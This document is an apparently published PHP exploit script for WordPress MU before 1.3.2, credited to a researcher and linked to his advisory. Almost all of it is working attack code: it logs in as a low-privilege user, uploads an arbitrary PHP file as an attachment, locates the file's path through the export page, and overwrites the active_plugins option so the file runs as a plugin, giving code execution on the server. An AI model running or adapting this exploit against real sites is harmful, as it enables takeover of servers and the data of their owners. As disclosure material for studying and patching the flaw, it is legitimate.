WordPress MU < 1.3.2 - 'active_plugins' Code Execution

<?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
	function _prepare_post_body($formvars, $formfiles) {
		if ( is_string($formvars) ) {
			return $formvars;
		}
		return parent::_prepare_post_body($formvars, $formfiles);
	}
}

set_time_limit( 0 );

// Any user with 'manage_options' and 'upload_files' capabilities
$user = 'user';
$pass = '1234';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = ''; // relative path to wp-content
$local_file = ''; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
	// Upload a new file
	$snoopy->_submit_type = 'image/gif';
	$snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());

	if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
		$remote_file = basename($match[1]);
	}
}
if ( empty($remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {
	$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if ( empty($remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content 
$remote_file = '../' . ltrim($remote_file, '/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {
	foreach ($matches[0] as $plugin) {
		if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
			$active_plugins[] = urldecode($match[1]);
	}
	print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {

	// Finally update active_plugins
	$snoopy->set_submit_normal();
	$snoopy->submit("{$blog_url}wp-admin/options.php",
		array(
			'active_plugins' => $active_plugins,
			'_wpnonce' => $match[1],
			'action' => 'update',
			'page_options' => 'active_plugins',
		));
}

function get_contents() {
	global $local_file;

	return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
}
?>

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